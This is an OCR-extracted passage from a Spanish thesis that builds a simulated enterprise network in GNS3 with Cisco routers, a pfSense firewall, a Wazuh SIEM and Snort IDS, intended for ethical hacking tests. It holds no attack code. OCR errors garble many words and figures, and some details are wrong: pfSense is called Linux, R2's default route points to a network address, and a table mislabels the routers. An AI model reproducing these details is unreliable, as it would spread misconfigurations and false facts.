Kali Linux, una distribucidén basada en Debian GNU/Linux, se destaca como
una poderosa herramienta disefiada especificamente para la auditoria y seguridad
informadtica. Mantenida por Offensive Security Ltd., Kali ofrece una amplia variedad
de mds de 300 herramientas y aplicaciones de seguridad, entre las cuales se incluyen
algunas tan conocidas como Nmap, Jack the Ripper y Aircrack-ng. Estas herramientas
estdn completamente integradas en la distribucion, lo que la convierte en una solucién
completa para la evaluacion de seguridad en organizaciones (Rubén Andrés, 2016).

Aunque Kali Linux ha sido frecuentemente asociada con fines de explotacion,
su origen se remonta a propdsitos forenses, lo que ha contribuido a su reconocimiento
y aceptacion en el mercado de la seguridad informatica de cédigo abierto. Al ser de
codigo abierto, Kali se beneficia de las contribuciones continuas de la comunidad, lo
que incrementa constantemente su utilidad y su conjunto de herramientas. Disponible
en versiones de 32 y 64 bits para plataformas Linux, asi como en paquetes para

VirtualBox y VMware, Kali Linux se presenta como una herramienta completa para
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empresas, abarcando desde el escaneo de redes hasta la explotacion de
vulnerabilidades. Aunque su predecesor, BackTrack, sigue disponible como una
alternativa, Kali ha logrado imponerse en el mercado de la seguridad con su enfoque

total en el cédigo abierto (Kali.org, 2024).
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CAPITULO III

METODOLOGIA DE LA INVESTIGACION

El capitulo pretende explicar la modalidad y la metodologia aplicadas en este
trabajo de titulacién. Se exploraran los enfoques y métodos utilizados para llevar a
cabo la investigacion, destacando la combinacién de métodos experimentales y
documentales para obtener una comprensiéon completa del tema. También se
examinaré la seleccion de estos métodos y se justificard su idoneidad para alcanzar los
objetivos establecidos. Esta seccion proporcionard una vision general de la estructura
y el enfoque metodoldgico del estudio, estableciendo las bases para comprender el

proceso de investigacion y los resultados obtenidos.

Modalidad de la investigacion

La metodologia adoptada se fundamenta en los principios de la investigacion
cientifica, garantizando la validez y fiabilidad de los resultados obtenidos. Se centra
en la aplicacion de técnicas de hacking €tico en entornos controlados, asi como en el
andlisis critico de la literatura existente sobre ciberseguridad y sistemas de deteccién

de intrusos.

Método Experimental:

El método experimental se caracteriza por su enfoque prictico y su capacidad
para generar resultados concretos y cuantificables. Al simular escenarios de ataque
reales, se obtiene informacién valiosa sobre las debilidades de los sistemas de
seguridad y se identifican dreas de mejora para fortalecer la postura de seguridad de la

organizacion (Sanchez Sanchez, 2015).



85

Método Documental:

El método documental se caracteriza por su enfoque analitico y su capacidad
para proporcionar una vision amplia y contextualizada del tema de estudio. Al integrar
los hallazgos experimentales con la evidencia documental, se obtiene una comprension
mads completa y fundamentada de las estrategias de hacking ético y su impacto en la

seguridad informdtica (Sanchez Sénchez, 2015).

Investigacion aplicada

La investigacion aplicada se enfoca en generar conocimiento que tenga una
aplicacion directa en los problemas de la sociedad o en el sector productivo. Este tipo
de investigacion se apoya en los descubrimientos tecnoldgicos obtenidos mediante la
investigacion bésica, y su principal objetivo es establecer un vinculo entre la teoria y
el desarrollo de productos. Este ensayo presenta una perspectiva detallada sobre los
pasos necesarios en el proceso de investigacion aplicada, destacando la importancia
de la colaboracion entre la academia y la industria en la transferencia de tecnologia,
asi como los aspectos relacionados con la proteccion de la propiedad intelectual

durante este proceso (J OSE LOZADA, 2014).

Investigacion fundamental

La investigacién fundamental, también conocida como investigacion bésica, se
centra en la generacion de teorfas cientificas a partir de ideas o la observaciéon de
fendmenos fisicos. Este proceso, que puede ser prolongado, es fundamental para el
desarrollo de tecnologia. Por otro lado, la investigacién aplicada aborda todo el
proceso de conexion entre la teoria y la creacion de productos. Dentro de este proceso,
se pueden identificar tres etapas esenciales:

e La fase inicial de investigacién, que implica la exploraciéon de posibles
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aplicaciones y la adaptacion de teorias o hallazgos de las ciencias bésicas.

e Laintegracion de las necesidades sociales o industriales en el proceso, lo que
facilita la concepciéon de conceptos practicos basados en la teoria. Estos
conceptos deben tener en cuenta las caracteristicas del usuario final para
garantizar su aceptacion y usabilidad.

e Por dltimo, el proceso de maduracién y transferencia de la tecnologia, que
implica la creacion de prototipos para materializar los conceptos y su posterior

transferencia a la industria para su desarrollo como productos finales.

DESARROLLO EXPERIMENTAL

Propuesta de laboratorio

El laboratorio propuesto tiene como objetivo principal realizar actividades de
hacking ético dentro de una infraestructura de red en la que el SIEM (Security
Information and Event Management) centralizard la recoleccion de logs para analizar
resultados obtenidos posterior a la ejecucion de técnicas de hacking ético de tal manera
que se pueda sugerir estrategias efectivas para mitigar este tipo de ataques
cibernéticos. Mediante este enfoque practico, se pretende explorar las vulnerabilidades
presentes en la infraestructura de seguridad seleccionada y comprender los posibles
escenarios de ataques que podrian enfrentar las organizaciones. Al llevar a cabo estas
pruebas controladas en un entorno simulado, se podra evaluar la efectividad de las
medidas de seguridad actuales y recomendar mejoras especificas para fortalecer la

postura de seguridad de la organizacion frente a las amenazas cibernéticas.
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Tabla 3
Subprocesos, Recursos/Insumos y Resultados
Subprocesos Recursos/Insumos Resultados
Disefio de
. . arquitectura del
Planificaciéon Activos y eventos de seguridad SIEM, Diagrama de
la red

Tecnologia SIEM a
utilizar, Disefio de
arquitectura del
SIEM

Seleccion de la tecnologia  Activos y eventos de seguridad

Resultado de pruebas
y correcciones

. . simulacién), Disefio
Activos y eventos de seguridad ( )

Pruebas de arquitectura del
SIEM, Tecnologia
SIEM a utilizar
Resultado de pruebas y Implementacién y
correcciones, Diagrama de la configuracion de la
Implementacion de la red, Activos y eventos de arquitectura del
arquitectura del SIEM seguridad, Disefio de SIEM
arquitectura del SIEM,
Tecnologia SIEM a utilizar
Activos y eventos de seguridad, Implementacion de
Implementacion de agentes, agentes
Implementacion de Implementaciony
agentes configuracién de la arquitectura
del SIEM
Diagrama de la red, SIEM, Reporte de
Monitoreo Activos y eventos de seguridad  incidentes de
seguridad
Hacking Etico Activos y eventos de seguridad izf;llézdos de los

Activos y eventos de seguridad  Estrategias de

Mitigacion de ataques e o
mifigacion
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Arquitectura SIEM con Wazuh

Para este proyecto se va a disefiar y crear un entorno virtual para un laboratorio
de practicas tratando que sea lo mds realista posible usando los componentes de
infraestructura tecnolégica de TI para establecer una red informdtica empresarial, se
usard para la simulacion GNS3 con VirtualBox como herramientas principales de

virtualizacion.

Arquitectura de la infraestructura de la red

Para el disefio de la red vamos a pensar en una organizacién pequeia y que
necesite: Subredes
e Una red para servidores web expuestos a internet
e Una red para los clientes usuarios internos de la organizacion
e Una red para el personal administrativo de TI

e Una red para los desarrolladores

En este sentido tenemos 4 redes l6gicas o subredes, adicional se plantean las
siguientes consideraciones:
e Desde la red de servidores no debe haber conectividad hacia las otras
redes excepto a internet
e Las demds redes si pueden tener conectividad a los servidores

e Usar los dispositivos adecuados para agregar futuras subredes
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Figura 4

El siguiente diagrama muestra de manera general los requisitos que se tiene para
cada red:

0y g

CLIENTES

4 REDES

Usuarios

Administradores

Desamolladores

Servidores

_"
I-I

SERVIDORES

b

Nota: Diagrama general de la red configurada

Explicacion:
Las redes: usuarios, desarrolladores, administrativos y servidores usaran el

mismo tipo de topologia y conectividad mediante cable Ethernet.

Dispositivos:
En todas las redes se implementa:
e Un router

e Un switch



Internetworking

Figura 5

Diagrama de como se conectardn las redes:

Red  gwCH
Servidores oMz

U

4
Red
Desarrgladores

o -0

LAM
RED INTERNA

o

Firewall
FPizensze

I I

-

Usuarios

Nota: Interconexion de las redes
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&

R3
Red
Administradores

Como se observa en el diagrama de izquierda a derecha primero se usa un

firewall en este caso Pfsense que se encargard de evitar posibles intrusiones desde la

red de servidores.

El firewall estd conectado al router de un switch que forma parte de la DMZ o

zona desmilitarizada y a la red interna LAN.

Después del firewall tenemos la red interna LAN esta se compone de:

e RI el router principal que une todas las demds redes

e R2 router de la red de usuarios

e R3 router de la red de administrativos

e R4 router de la red de desarrolladores



Segmentacion de IP’s:
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Ahora que ya tenemos el disefio de la red podemos establecer las direcciones

que tendrin cada red. El rango privado para la red interna serd de:

Tabla 4

Segmento Red

Puerta de enlace

DHCP

172.16.20.0/24 usuarios
172.16.30.0/24 administrativos
172.16.40.0/24 desarrolladores

Routers y firewall:

Hay que considerar que solo se usaran 2 IP’s entre routers por lo tanto:

172.16.20.1
172.16.30.1
172.16.40.1

si
si
si

Tabla 5
Segmento Dispositivo 1P Dispositivo 1P DHCP
10.0.1.0/30 Pfsense 10.0.1.1 R1 10.0.1.2 no
10.0.2.0/30 R1 10.0.2.1 R2 10.0.2.2 no
10.0.3.0/30 R1 10.0.3.1 R3 10.0.3.2 no
10.0.4.0/30 R1 10.0.4.1 R4 10.04.2 no

La zona DMZ solo tendrd un switch que estard conectado directamente al

Pfsense no hay necesidad de usar un router por ahora, ademds se contempla que solo

habré direccionamiento necesario para un maximo de 6 servidores(por la méascara /29).

Implementando NAT

Se usard NAT dado que si vemos en la figura 5 en especial el R1, lo podemos

usar este router para:
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e Controlar que red puede tener conectividad a internet

e Servidor DHCP para todas las redes

De esta forma se tendria un tnico punto para controlar la conectividad de las
redes, como entre el Pfsense y R1 solo hay 2 unicas IP el tipo de NAT a usar es
sobrecarga (overloading en inglés o PAT) esto es un tipo de conexién uno a muchos.

El grifico anterior significa que todas las redes internas solo podran tener

conectividad mediante la IP de R1(10.0.1.2) y Pfsense solo reconocer esa tnica IP.

Diagrama de Arquitectura de diserio final

El disefo final con todo lo anterior es:

Figura 6

Diagrama de como se conectardn las redes:

Desarmrgladores

IS -l § I

DMZ i RedDesarrolladores

|Ps Estaticas ! DHCP
\ 172.16.40.0/24

RedServidores E i

10.10.10.0/29 : 1 @

oooooooon U
Red SWICH i ~ RedAdministradores
Semvidores oMz i 4 DHCP

i Red 172.16.30.0/24
]

NAT(PAT) A
10.0.1.0/30
o S =
RED INTERNA
ROUTER R3
Firewall 1 Red
Pizense Administradores

RedUsuarios

172.16.20.0/24
’ R2
: Red
Usuarios

Nota: Diseiio final



93

Instalacion/configuracion de GNS3

La instalacion de un Appliance es muy sencilla solamente debe descargarse el
archivo. gns3ay hacer doble clic en el, inmediatamente se abrird GNS3 mostrando los
siguientes pasos.

Los dispositivos usados y que se pueden descargar desde la seccion Appliances
de la Marketplace de GNS3 son:

e Pfsense firewall
e Router CISCO 7200
e Swich (ya integrado con GNS3)

e Imégenes CISCO

ISP

Al igual que VirtualBox debe elegirse una interfaz para permitir la
conectividad a internet, esta parte es similar a la seccion “modo puente” pero en GNS3
todo dispositivo externo se representa por la nube la cual puede configurarse en la
seccion “edit>preferences>Cloud nodes” aqui:

e C(Clic en New

Seleccionar “Run the cloud node on your local computer” luego next
e En “name” poner WAN o ISP o el que se desee hacer clic en “finish”
e Seleccionamos la nube creada y luego clic en “edit”

e En “Ethernet interfaces” seleccionar la tarjeta de red fisica por la cual
obtendremos conectividad a internet y clic en “add”

¢ Finalmente, clic en “OK”,“Apply” y “OK”
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Dispositivos externos

En la seccion “End devices” ya podremos ver nuestra nube y solo queda

arrastrarla al panel central de GNS3.

Configuracion de Pfsense

Pfsense debe instalarse antes de poder usarlo, referirse a la guia de instalacién

de Pfsense.

Configuracion de router R1

Arrastramos el router CISCO al panel de GNS3 y haciendo clic derecho y en

“configure>slots” agregamos 4 interfaces Gigabyte

Figura 7

Configuracion R1

* Node properties

R1 configuration

General = Memories and disks | Slots | Advanced Environment | Usage

Adapters
slot 0: | C7200-10-FE -
slot 1: | PA-GE -
slot 2: | PA-GE -
slot 3: | PA-GE >
slot 4: | PA-GE -
slot 5: -

slot 6: -

WICs
wic 0:
wic 1:

wic 2:

-Reset " Apply @cancel | ' 0K

Nota: Configuracién R1



Tabla de direccionamiento para R1:
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Tabla 6
Dispositivol Interfaz IP Dispositivo2 Interfaz IP
R1 GigabitEthernet1/0 10.0.1.2 Pfsense em?2 10.0.1.1
R1 GigabitEthernet2/0 10.0.2.1 R2 GigabitEthernet1/0  10.0.2.2
R1 GigabitEthernet3/0 10.0.3.1 R3 GigabitEthernet1/0  10.0.3.2
R1 GigabitEthernet4/0 10.0.4.1 R4 GigabitEthernet1/0  10.0.4.2
Tabla de servicios para R1:
Tabla 7
Dispositivol Servicio Interfaz Segmento
R1 DHCP GigabitEthernet2/0  172.16.20.0/24
R1 DHCP GigabitEthernet3/0 172.16.30.0/24
R1 DHCP GigabitEthernet4/0  172.16.40.0/24
R1 NAT GigabitEthernet2/0 172.16.20.0/24
R1 NAT GigabitEthernet3/0 172.16.30.0/24

Direccionamiento de R1

Ahora que ya se tiene todo definido configuramos las interfaces en el router

haciendo clic derecho y console los comandos son:

R1# enable

R1# configure t

Los comandos siguientes se realizan para cada interfaz solo cambiando la IP e

interfaz correspondiente:

R1(config)#interface GigabitEthernet 1/0

R1(config-if)#IP address 10.0.1.2 255.255.255.252

R1(config-if)#no shutdown

R1(config-if)#exit

R1(config)#interface GigabitEthernet 2/0
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e RI(config-if)#IP address 10.0.2.1 255.255.255.252
e RIl(config-if)}#no shutdown

e RI(config-if)#exit

e Rl(config)#interface GigabitEthernet 3/0

e RI(config-if)#IP address 10.0.3.1 255.255.255.252
e RI(config-if)#no shutdown

e RIl(config-if)#exit

e Rl(config)#interface GigabitEthernet 4/0

e RI(config-if)#IP address 10.0.4.1 255.255.255.252
e RIl(config-if)}#no shutdown

e Rl(config-if)#exit

e Rl(config)#

El resultado final deberia ser:

Figura 8

Configuracion R1

R1l(config)#do show ip interface brief
Interface IP-Address Method Status Protocol
FastEthernete/e unassigned unset administratively down down

GigabitEthernetl/e 10.9.1.2 manual up up
GigabitEthernet2/@ 10.9.2.1 manual up up
GigabitEthernet3/e 1€.0.3.1 manual up up
GigabitEthernet4/e 10.0.4.1 manual up up

Nota: Configuracion R1
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DHCP en R1

Siguiendo la tabla de segmentacion primero separamos las puertas de enlace

para cada red:

R1(config)#IP dhcp excluded-address 172.16.20.1
R1(config)#IP dhcp excluded-address 172.16.30.1
R1(config)#IP dhcp excluded-address 172.16.40.1
Después configuramos las pools para cada red:
R1(config)#IP dhcp pool publicNet
R1(dhcp-config)#network 172.16.20.0 255.255.255.0
R1(dhcp-config)#default-router 172.16.20.1
R1(dhcp-config)#dns-server 1.1.1.1
R1(dhcp-config)#exit

R1(config)#IP dhcp pool adminNet
R1(dhcp-config)#network 172.16.30.0 255.255.255.0
R1(dhcp-config)#default-router 172.16.30.1
R1(dhcp-config)#dns-server 1.1.1.1
R1(dhcp-config)#exit

R1(config)#IP dhcp pool devNet
R1(dhcp-config)#network 172.16.40.0 255.255.255.0
R1(dhcp-config)#default-router 172.16.40.1
R1(dhcp-config)#dns-server 1.1.1.1
R1(dhcp-config)#exit

R1(config)#
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NAT en R1

Primero se crea un pool global y la IP que se usaré:
e RI(config)#IP nat pool globalNet 10.0.1.2 10.0.1.2 netmask
255.255.255.252
Después se crea una regla que permita solo las IP’s que estan en la lista 1
acceder al pool globalNet:

e RI(config)#IP nat inside source list 1 pool globalNet overload

Abhora se agrega las redes a la lista de acceso 1 (ACL):
e Rl(config)#access-list 1 permit 172.16.20.0 0.0.0.255
e Rl(config)#access-list 1 permit 172.16.30.0 0.0.0.255

e Rl(config)#access-list 1 permit 172.16.40.0 0.0.0.255

Figura 9

Listas de acceso:

R1l(config)#do show access-list
Standard IP access list 1
10 permit 172.16.20.0, wildcard bits ©.8.6.255

20 permit 172.16.30.0, wildcard bits ©.8.0.255
30 permit 172.16.40.8, wildcard bits ©.8.0.255

Nota: listas de acceso

Como vemos todas las redes LAN estan en la ACL 1, finalmente
establecemos las interfaces outside y inside:
e Rl(config)#inter gigabitEthernet 1/0
e RIl(config-if)#IP nat outside

e RIl(config-if)#exit



e RIl(config)#inter gigabitEthernet 2/0
e RIl(config-if#IP nat inside

e Rl(config-if)#exit

e Rl(config)#inter gigabitEthernet 3/0
e RIl(config-if#IP nat inside

e Rl(config-if)#exit

e Rl(config)#inter gigabitEthernet 4/0
e RIl(config-if}#IP nat inside

e Rl(config-if)#exit

e Rl(config)#

Guardar configuracion
Toda la configuracion anterior debe guardarse en memoria para prevenir
perdidas al reinicio del dispositivo el comando es:

e RIl(config)#do write memory

Rutas en R1

Las rutas son las siguientes:
e RIl(config)#IP route 172.16.20.0 255.255.255.0 10.0.2.2
e RI(config)#IP route 172.16.30.0 255.255.255.0 10.0.3.2

e RIl(config)#IP route 172.16.40.0 255.255.255.0 10.0.4.2

Ruta por defecto o puerta de enlace para R1:

e RI(config)#IP route 0.0.0.0 0.0.0.0 10.0.1.1

99
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Figura 10
Ver las rutas

Ril(config)
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
E1l - OSPF external type 1, E2 - OSPF external type 2
i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
ia - IS-IS inter area, * - candidate default, U - per-user static route

o - ODR, P - periodic downloaded static route

Gateway of last resort is 10.0.1.1 to network ©.8.0.©

172.16.0.©/24 is subnetted, subnets

[1/e] via 1@8.8.4.2
[1/@] via 1@ 3
[1/e] via 1e.
subnetted, 4 subnets
directly connected, GigabitEthernet2/©
directly connected, GigabitEthernet3/e

19.8.1.08 is directly connected, GigabitEthernetl/e

16.0.4. directly connected, GigabitEthernet4/e

1/0] via 18.8.1.1
R1(config)

Nota: ver las rutas

Hasta este punto si ya estamos conectados al Pfsense deberiamos tener

conectividad desde R1 al exterior:

Figura 11
Ver las rutas

Rl(config)#do ping 1.1.1.1

Type escape sequence to abort.
Sending 5, 18@-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds:

Success rate is 18@ percent (5/5), round-trip min/avg/max = 48/64/84 ms
R1l(config)#

Nota: ver las rutas



Rutas en R2, R3y R4
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Similar a R1 a cada router se le debe agregar una interfaz en sus opciones de

Configuracion:

Figura 12

Interfaz en sus opciones de Configuracion

* Node properties

R2 configuration
General =~ Memories and disks | Slots | Advanced Environment | Usage
Adapters
slot 0: | C7200-10-FE -
slot 1: | PA-GE -
slot 2: -
slot 3: -
slot 4 -
slot 5: -
slot 6: -
WICs
wic 0
wic 1
wic 2:
=-Reset + Apply @cancel | ' 0K
Nota: Configuracion R2
Tabla de direcciones para los routers R2, R3 y R4:
Tabla 8
Dispositivo interfaz 1 Ip interfaz 2 Ip
R1 GigabitEthernet1/0 10.0.2.2 FastEthernet0/0  172.16.20.1
R2 GigabitEthernet1/0 10.0.3.2 FastEthernet0/0  172.16.30.1
R3 GigabitEthernet1/0 10.0.4.2 FastEthernet0/0  172.16.40.1



102

Solo se mostrard los comandos para R2, ya que los comandos para R3 y R4

son similares, solo se debe cambiar la correspondiente direccién IP:

R2#enable

R2#configure t

R2(config)#interface GigabitEthernet 1/0
R2(config-if}#IP address 10.0.2.2 255.255.255.252
R2(config-if)#no shutdown

R2(config-if)#exit

R2(config)#interface FastEthernet 0/0
R2(config-if#IP address 172.16.20.1 255.255.255.0

R2(config-if)#IP helper-address 10.0.2.1

R2(config-if)#no shutdown

R2(config-if)#exit

La linea subrayada permite a esta interfaz obtener una IP por DHCP desde

R1, ahora agregamos las rutas:

R2(config)#IP route 10.0.1.0 255.255.255.252 10.0.2.1

R2(config)#IP route 0.0.0.0 0.0.0.0 10.0.1.0

Si se intenta hacer ping a una IP externa no tendremos respuesta, ya que la IP

del router 10.0.2.2 no esta en la ACL del pool de la NAT:
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Figura 13
Ping

R2(config)#do ping 1.1.1.1
Type escape sequence to abort.
Sending 5, 10@-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds:

Success rate is @ percent (8/4)
R2(config)#

Nota: No muestra conexion

Hosts

Ahora que tenemos todo configurado debemos agregar el switch a la red de
usuarios, este switch no necesita configuracién, conectamos una interfaz del switch a
la interfaz FastEthernetO del router R2 y dejamos las demds para los hosts.

En este punto debemos conectar una maquina para verificar la conectividad,

hasta aqui ya deberiamos poder alcanzar la IP del router R1 10.0.1.2 desde R2:

Figura 14
Prueba de conexion
R2(config)#do ping 10.0.1.2

Type escape sequence to abort.

Sending 5, 1©@-byte ICMP Echos to 10.€.1.2, timeout is 2 seconds:

Success rate is 100 percent (5/5), round-trip min/avg/max = 4/15/24 ms

Nota: Muestra conexion
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Desde R1 alaIP 172.16.20.1 (R2):

Figura 15
Prueba de conexion
Rl#ping 172.16.20.1

Type escape sequence to abort.

Sending 5, 108-byte ICMP Echos to 172.16.28.1, timeout is 2 seconds:

Success rate is 180 percent (5/5), round-trip min/avg/max = 8/15/28 ms

Nota: Muestra conexion

Diagrama final en GNS3

Después de aplicar todas las Instalaciones de los componentes y

configuracion el diagrama final en GNS3 es:

Figura 16

Diagrama GNS3

ArquitecturalnfraestructuraProyecto_soloRed_FW - GNS3

File Edit View Control Node Annotate Tools Help

w OB >pIEC HRIIO . fQAAEG

RS Switcha

Switch2

ISP_IINTERNET

©

U et @] h @ u

Switchl

Nota: Diagrama final de red en GNS3
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Instalacion servidor Wazuh

Se realizé la instalacién y configuracion del servidor SIEM Wazuh en una
maquina virtual con Virtualbox y se lo agrega dentro del entorno de simulacién del
laboratorio con GNS3.

Consideraciones:

e El servidor Wazuh se lo incorpora en la red de servidores de la DMZ.
e [La version corresponde a la 4.7.3

e Asignacion de IP Fija en la DMZ con la IP 10.10.10.4

Con la documentacion oficial se realiza su instalacion, posterior, se configura

la IP Fija de la siguiente manera:

Figura 17

Configuracion IP

it Automatically generated by the vm import process
DEVICE=eth®

ONBOOT=yes

BEODTPROTO=dhcp

YPE=Ethernet

M_CONTROLLED=no

Ketcssysconf ig/snetwork-scripts/ifcfg-eth®” 6L, 120B

Nota: Archivo de configuracion.
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Con la documentacién oficial se realiza su instalacion, posterior, se configura

la IP Fija de la siguiente manera:

Figura 18

Configuracion IP

jtDEVICE=eth@®
jtONBOOT=yes
tBOOTPROTO=dhcp
it TYPE=Ethernet
jtNM_CONTROLLED=no
[DEUVICE=eth@
ONBOOT=yes
BOOTPROTO=none
YPE=Ethernet
M_CONTROLLED=no

GATEWAY=10.10.10.1
PN51=10.10.10.1
DN5Z2=6.6.68.8

<nf ig/network-scripts/ifcfg-eth®"” 16L, 271B written
[rootPwazuh-server “1# vi rsetcs/sysconfig/network-scriptssifcfg-eth®

Nota: Archivo de configuracion.

Se reinicia servicio de red.

Figura 19

Reincio del servicio

tEOOTPROTO=dhcp
it TYPE=Ethernet
jtNM_CONTROLLED=no

YPE=Ethernet

M_CONTROLLED=no
[PREF1X=24
IPADDR=10.10.10.4
GATEWAY=10.10.10.1
PNS1-10.10.10.1
[DNS2=8.8.8.8

<nf ig/network-scripts/ifcfg-eth®” 16L, 271B written
[rootPwazuh-server “1# vi retcrssysconfigsnetwork-scriptssifcfg-ethd®

Nota: Archivo de configuracidn.



Validacién de la IP Fija 10.10.10.4 IP:
Figura 20

Validacion de IP

Knf ig/network-scripts/ifcfg-eth®"” 16L, 271B written

[rootRwazuh-server ~1#

[rootRwazuh-server ~1#

[rootRwazuh-server ~1# systemctl restart network

[rootBwazuh-server “1# ip a s

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group defaul
glen 1000

link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_Ilft forever
inetb ::1,128 scope host
valid_1ft forever preferred_Ift forever
ethO: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc pfifo_fast state UP gr
oup default glen 1000
link/ether 08:00:27:74:b1:7a brd ff:ff:ff:ff:ff:ff
inet 10.10.10.4/24 brd 10.10.10.255 scope global ethO
valid_1ft forever preferred_Ilft forever
inetb feB80::a00:27ff:fe?4:b17as64 scope link
valid_1ft forever preferred_Ift forever
[rootRwazuh-server ~1#

Nota: Archivo de configuracion.

Prueba de conectividad entre servidores de la DMZ y acceso al servidor

Figura 21

Prueba de conectividad

16.16.16.1 0.0.0.0 0 ethd
0.0.0.0 £55.255.255.0 0 etho
0.0.0.0 £55.255.0.0 0 ethd
[rootPwazuh-server ~1#
[root@Pwazuh-server ~1#
[rootPwazuh-server “1# ping 10.10.10.1
10.10.10.1 (10.10.10.1) 56(84) bytes of data.
64 bytes from 10.10.10.1: icmp_seqg=1 ttl1=64 time=0.938 ms
64 bytes from 10.10.10.1: icmp_seq=2 ttl=64 time=1.29 ms
64 bytes from 10.10.10.1: icmp_seq=3 ttl=64 time=1.47 ms
C
-- 10.10.10.1 ping statistics ——
[3 packets transmitted, 3 received, 0« packet loss, time Z005ms

rtt minsavgsmax-smdev = 0.938-1.235-1.470-0.221 ms

[rootPwazuh-server “1# ping 10.10.10.3

PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
from 10.10.10.3: icmp_seq=1 tt1=63 time=5.65
from 10.10.10.3: icmp_seq=2 ttl=63 time=1.74
from 10.10.10.3: icmp_seq=3 tt1=63 time=1.64
from 10.10.10.3: icmp_seq=4 tt1=63 time=1.76

C

-- 10.10.10.3 ping statistics ——

4 packets transmitted, 4 received, 0+ packet loss, time 3017ms
rtt minsavgsmax-smdev = 1.645-2.703,5.657-1.706 ms
[rootPwazuh-server 7 1#

Nota: Archivo de configuracidn.

107
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Figura 22

Consola administrativa

wqazuh

The Open Source Security Platform

Nota: Consola administrativa.

Instalacion del firewall pfsense

Se realiz6 la instalaciéon y configuracion del servidor PFSENSE en una
maquina virtual con Virtualbox y se lo agrega dentro del entorno de simulacién del
laboratorio con GNS3.

Consideraciones:

e Elservidor Pfsense se lo incorpora en la red con 3 interfaces de red para
la WAN, DMZ, LAN.

e El servidor firewall contiene el sistema Operativo Linux, con una
distribucion FreeBSD.

e La version corresponde a la 2.7.2

e Asignacion de IP Fija en la instalacion con la IP 10.0.0.1

Con la documentacion oficial se realiza su instalacion, posterior, se configura

las redes IPs Fija de la siguiente manera:
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Figura 23

Configuracion de las redes IPs Fija

File Machine View Input Devices Help
Starting package snort...done.

pfSense 2.7.2-RELEASE amd64 28231286-2618
Bootup complete

reeBSD/amd64 (pfSense.uide.ciber) (ttyv@)

irtualBox Virtual Machine - Netgate Device ID: 551655915869cce13188

%% Welcome to pfSense 2.7.2-RELERASE (amd64) on pfSense xx*x

WAN (wan) -> emnB -> v4/DHCP4: 192.168.122.116/24
LAN (lan) -> enl ->v4: 18.0.1.1/308
DMZ (optl) -> em2 ->wv4: 18.18.18.1/29

Logout (SSH only) 9) pfTop

Assign Interfaces 18) Filter Logs

Set interface(s) IP address 11) Restart webConfigurator
Reset webConfigurator password 12) PHP shell + pfSense tools
Reset to factory defaults 13) Update from console

Reboot system 14) Enable Secure Shell (sshd)
Halt system 15) Restore recent configuration
Ping host 16) Restart PHP-FPM

Shell

nter an option:

B8 =2 @ B 8@ & Right Ctrl

Nota: Archivo de configuracion.

Se realiza la configuracion de reglas para las interfaces de red LAN, DMZ.

Figura 24

Configuracion de las reglas

< @ C O & https://10.0.11/firewall_

D Parrot 0S [ Hack The Box [ OSINT Services [)Vuln DB [ Privacy and Security [ Learning Resources

Firewall / Rules/ LAN L E @

Floating WAN LAN DMZ

Rules (Drag to Change Order)

States Protocol  Source Port Destination  Port Gateway Queue Schedule Description Actions
v 2/888KiB * * *  LANAddress 443 * x Anti-Lockout Rule <]
80
v 11/380MiB  IPv4* LAN subnets  * £ * * none Default allow LAN to any rule $,00mx
O v 008 IPV6*  LANsubnets *  * ® none Default allow LAN IPv6 to any rule &S 00mx

i
ttps://10.0.1.1/firewall_rules.php?if=FloatingRules

Nota: Archivo de configuracion.
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DMZ.: Configuraciones adicionales para los puertos de Wazuh Server que

necesitan los clientes de Wazuh.

Figura 25

Configuracion adicionales

= @ C ObL 10.0.1.1

[ Parrot 05 [ Hack The Box [JOSINT Services (3 Vuln DB [ Privacy and Security (3 Learning Resources

Floating WAN LAN DMZ

Rules (Drag to Change Order)

[m] States Protocol Source Port Destination Port Gateway Queue Schedule Description Actions

O v 008 IPv4 TCP/UDP  DMZ subnets  * * 853 (DNS over TLS)  * none 32 00mx
O ' 6/24KB  IPv4TCP/UDP  DMZsubnets * * 53 (DNS) * none LS O00mX
O « 008 IPv4 TCP DMZ subnets ~ * * 443 (HTTPS) * none L, O00mx
O v 008 IPv4 TCP DMZ subnets *  * 80 (HTTP) * none 32 00Mmx
O v O01KB  IPvdiCMP DMZsubnets  *  * . * none &, 00Mmx

any

O « 1/442KB IPv4 TCP 10.10.10.3 * 10.10.104 1514 * none PassedviaEasyRule 5 S DO WX
0O « 0/1KB IPv4 TCP 10.10.10.3 ® 10.10.104 1515 * none Passed via EasyRule &,p‘@ﬁx
O v 04328 IPv4 TCP 10.10.10.3 . 10.10.104 55000 - none Passed via EasyRule &,f@ﬁx

[+ 0] sl o | @ s O con J @ oo

Nota: Archivo de configuracion.

Instalacion de IDS/IPS SNORT en el Servidor Firewall Pfsense

Se realiza su instalacion desde la administracion de paquetes en la aplicacion

web de administracion de Pfsense.

Figura 26

Instalacion IDS/IPS

Flisense

System/ Package Manager/ Available Packages 2]
Instalied Package: Avallable Packages
Search term ront Both

Name Version Description

rusion prevention and detection system (IDS/IPS). Combining the benefits of signature, protocol, and anomaly-

Nota: Archivo de configuracidn.



Figura 27

Figura 28

Instalacidn con éxito.

Instalacion IDS/IPS

JVuln DB [ Privacy and Security [ Learnis

Elisonse

System/ Package Manager / Package Installer (7]

pfSense-pkg-snort installation successfully completed.

Installed Packages  Available Packages  Package Installe
& o N - - . e R A - A R W R A e R R R R W W W)
Package Installation
+ by defa: er than th
d 51 E w

tab first to add an interface, then select your desired rules packages at the Services -
tab to download your configured rulesets.

Nota: Archivo de configuracion.

Instalacion IDS/IPS

Confirmation Required to install package pfSense-pkg-snort.

Nota: Archivo de configuracion.

registrando una cuenta en la pagina web.
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Se realiza las configuraciones respectivas para integrar las reglas de la base de

datos de SNORT. Previamente se integra el ID de c6digo token oinkmaster de Snort
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Figura 29

Configuracion de reglas

G @ C O& 10.0.1.1

